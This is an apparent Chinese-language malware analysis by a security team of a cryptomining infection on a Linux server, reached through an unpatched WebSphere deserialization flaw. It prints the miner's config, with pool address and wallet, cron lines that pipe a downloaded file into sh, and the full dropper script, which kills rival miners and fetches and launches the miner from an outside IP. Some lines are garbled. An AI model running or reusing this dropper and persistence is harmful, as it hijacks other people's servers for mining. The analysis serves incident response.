Linux系統ETN挖礦病毒實例分析。
一、背景
近期,客戶向華屹安全團隊通報其服務器運行異常。經過安全技術人員的檢查,發現了這是一例典型的利用Linux服務器漏洞實施XMR挖礦的安全事件。當前網絡安全事件中黑客利用系統漏洞實施挖礦的事件頻見報道,而本團隊在實際工作中卻頭回遇見,因此對該樣本實施了具體分析。
二、技術具體分析
1、主機環境為Linux
2、發現一異常進程,其運行情況為:
./kswapd0 -c ksvjptcyah.cf -t 2
連接的端口是148.251.133.246的80。
利用IP查詢,發現其是德國的服務器。具體如下圖所示:
直接用瀏覽器訪問,其返回的是mining server online,如下圖所示,由此可見該服務器應該是一臺礦池服務器。
還發現,該服務器還開放5555端口(返回和80端口一致)、8080端口。用瀏覽器直接訪問8080端口,發現其是electroneum礦池。其主頁返回如下圖所示:
3、發現進程kswapd0位于/var/tmp目錄下,該目錄下同時還存放ksvjptcyah.cf文件。其中ksvjptcyah.cf文件的內容如下所示:
ksvjptcyah.cf內容
{
"url" : "stratum+tcp://148.251.133.246:80",
"user" :"etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc",
"pass" : "x",
"algo" : "cryptonight",
"quiet" : true
}
顯然,這是挖礦程序的配置文件。
其中礦池地址為:148.251.133.246:80
挖礦帳號為:etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc
Quiet表示在后臺安靜的挖礦。
在該礦池的界面,通過搜索發現該帳號挖礦的具體情況如下圖所示:
如上圖所示,挖的是ETN幣。每秒的hash rate為159.45KH。說明該病毒至少感染了成百上千臺了(如果假設一臺主機60-1000H/S的情況)。
4、利用kill殺掉kswapd0進程。
過一會發現,又出來相同異常進程,進程會變化,
./ Ksvjptcyah -c Ksvjptcyah .cf -t 2。
5、查找其啟動方式,根據以往經驗,一般病毒會利用定時任務啟動。
果然,發現啟動任務如下:
*/29 * * * * wget -O - -q/Article/UploadPic/2018-4/2018416184522986.jpg|sh
*/30 * * * * curl/Article/UploadPic/2018-4/2018416184522986.jpg|sh
利用ip138查詢,發現181.214.87.241是一臺位于美國或者智利的機器。查詢結果如下圖所示:
對其直接利用瀏覽器訪問,現實的是apache ubuntu 缺省頁面。如下圖所示:
瀏覽器直接訪問/Article/UploadPic/2018-4/2018416184522986.jpg,顯示該圖片因錯誤無法顯示,結果如下圖所示:
用curl直接下載回本地,發現其內容如下:
oracle.jpg的內容:
id1="adcixstgtf"
id2="ksvjptcyah"
id3="kswapd0"
rm -rf /var/tmp/vmstat
rm -rf /var/tmp/`echo $id1`.conf
ps auxf|grep -v grep|grep -v `echo$id2`|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-px"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep"stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep"cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep `echo$id1`|awk '{print $2}'|xargs kill -9
ps -fe|grep `echo $id2`|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/`echo $id2`.cf
rm -rf /var/tmp/`echo $id2`.cf
curl -o /var/tmp/`echo $id2`.cfhttp://181.214.87.241/java/`echo $id3`.cf
wget -O /var/tmp/`echo $id2`.cfhttp://181.214.87.241/java/`echo $id3`.cf
chmod 777 /var/tmp/`echo $id3`
rm -rf /var/tmp/`echo $id3`
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/`echo $id3`http://181.214.87.241/java/`echo $id3`
wget -O /var/tmp/`echo $id3`http://181.214.87.241/java/`echo $id3`
else
curl -o /var/tmp/`echo $id3`http://181.214.87.241/java/`echo $id3`_an
wget -O /var/tmp/`echo $id3`http://181.214.87.241/java/`echo $id3`_an
fi
chmod +x /var/tmp/`echo $id3`
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
./`echo $id3` -c `echo $id2`.cf -t `echo$cores` >/dev/null &
else
echo "Running....."
fi
通過分析該sh腳本,發現該程序首先分析本地機器是否已經存在其他的挖礦軟件,如果存在就先殺掉。(當我財路者格殺勿論…)
然后從181.214.87.241服務器下載配置文件和挖礦程序。
黑客還判斷其cpu 情況,cores=$((($proc+1)/2))說明黑客只利用了主機一半多的CPU資源用于挖礦,給機器主人留下一點可用的資源(粗心的機器主人沒有反應…,你好我也好…)。
6、服務器如何被感染的?
安全技術人員通過對該服務器的再次分析,發現其websphere軟件沒有補丁,黑客是利用該軟件的java 反序列漏洞直接控制本服務器。